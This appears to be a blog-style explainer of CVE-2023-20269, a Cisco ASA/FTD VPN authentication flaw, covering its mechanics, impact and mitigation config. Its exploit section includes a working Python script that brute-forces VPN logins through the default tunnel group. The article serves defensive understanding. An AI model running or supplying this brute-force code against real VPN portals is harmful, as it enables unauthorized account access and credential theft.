CVE-2023-20269 - How a Cisco VPN Flaw Exposed User Credentials and Opened Doors to Unauthorized SSL VPN Sessions

On September 6, 2023, Cisco published a security advisory describing CVE-2023-20269 — a high-impact vulnerability in their Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. This vulnerability could let attackers brute-force VPN logins or, in some cases, establish clientless SSL VPN sessions without proper authorization.

This article breaks down what CVE-2023-20269 is, how it works, who’s affected, and how attackers can exploit it—showing code snippets and practical info, all in accessible language.

What Is CVE-2023-20269?

The vulnerability lives in how Cisco’s VPN feature manages Authentication, Authorization, and Accounting (AAA) between its different services: Remote Access VPN, HTTPS management, and site-to-site VPN. There’s supposed to be a wall between each service’s logins and authentications. This flaw cracks that wall.

In simple terms: An attacker can use a “default” tunnel setting to send brute-force login attempts or even hijack an SSL VPN session if they already have credentials.

How Does the Vulnerability Work?

The crux of the issue: When you select the default connection profile (or tunnel group) while logging in, the system doesn’t separate authentication for different features as it should. This can lead to:

1. Brute-forcing credentials — With the right tunnel group, attackers can guess username/password pairs faster and easier.
2. Session hijacking — Under certain versions (ASA 9.16 or earlier), attackers could start a “clientless” SSL VPN session using legit credentials.

Important to note

- Attackers CANNOT skip authentication completely. Valid credentials are still needed, especially if MFA is in use.
- Client-based (AnyConnect) VPN tunnels are SAFE. The default tunnel groups don’t provide address pools, so full tunnels can’t be established.

Exploit Details (With Code Example)

Let’s look at a simplified Python script an attacker might use to brute-force logins using CVE-2023-20269:

> ⚠️ Disclaimer: For educational, defensive purposes only! Do not use without authorization.

import requests

# Target information
TARGET_HOST = "https://vpn.example.com";
TUNNEL_GROUP = "DefaultWEBVPNGroup"
LOGIN_ENDPOINT = f"{TARGET_HOST}/+webvpn+/index.html"

# List of usernames & passwords to try
usernames = ["alice", "bob", "testuser"]
passwords = ["Password1", "qwerty123", "vpnuser"]

for user in usernames:
    for pw in passwords:
        data = {
            'username': user,
            'password': pw,
            'tgroup': TUNNEL_GROUP  # Here's the key. The 'default' group is targeted.
        }
        r = requests.post(LOGIN_ENDPOINT, data=data, verify=False)
        if "Login failed" not in r.text:
            print(f"[+] Found valid credentials: {user}/{pw}")

Why does this work?
Cisco’s flaw doesn’t properly restrict brute-force attempts on the default group/tunnel. Attackers flood the portal with login tries, and if they guess correctly, they can either steal credentials or, in some cases, establish a clientless SSL VPN session. The value of “tgroup” or similar will depend on your specific device/config — here ‘DefaultWEBVPNGroup’ is typical.

Leaked credentials: Attackers who get valid logins can later access sensitive resources or data.

- Unexpected SSL VPN access: On vulnerable systems (ASA 9.16 or earlier), attackers with credentials might spawn browser-based (clientless) VPN sessions.
- Increased Harassment: Brute-forcing is easier, so attackers are more likely to target your VPN, especially if relying on simple passwords or lacking login attempt monitoring.

Mitigations & Workarounds

- Install Cisco updates: Check Cisco’s advisory for released patches.
- Restrict or remove default tunnel groups: Don’t let the “DefaultWEBVPNGroup” or equivalent be reachable, or set it to “no remote access.”
- Rate-limit login attempts: Use Cisco’s aaa authentication attempts commands to throttle failed tries.

Sample workaround to disable a vulnerable default group (from Cisco)

webvpn
 no tunnel-group-list enable
!
tunnel-group DefaultWEBVPNGroup general-attributes
 no address-pool

This disables the default group from being displayed, and removes any IP pool assignment.

References

- Cisco Security Advisory for CVE-2023-20269
- NIST NVD Entry for CVE-2023-20269
- Cisco ASA/FTD Software Release Notes

Conclusion

CVE-2023-20269 is a typical example of how even premium security solutions can have cracks hiding in plain sight. If you use Cisco ASA or FTD for VPNs, patch your devices, lock down defaults, and monitor! Most importantly: don’t let “secure enough” be your comfort zone.

Stay safe and always patch.

*Written exclusively for you. Reproduction allowed with credit. For more, follow Cisco advisories and patch early, patch often.*

Timeline

Published on: 09/06/2023 18:15:00 UTC
Last modified on: 09/14/2023 16:10:00 UTC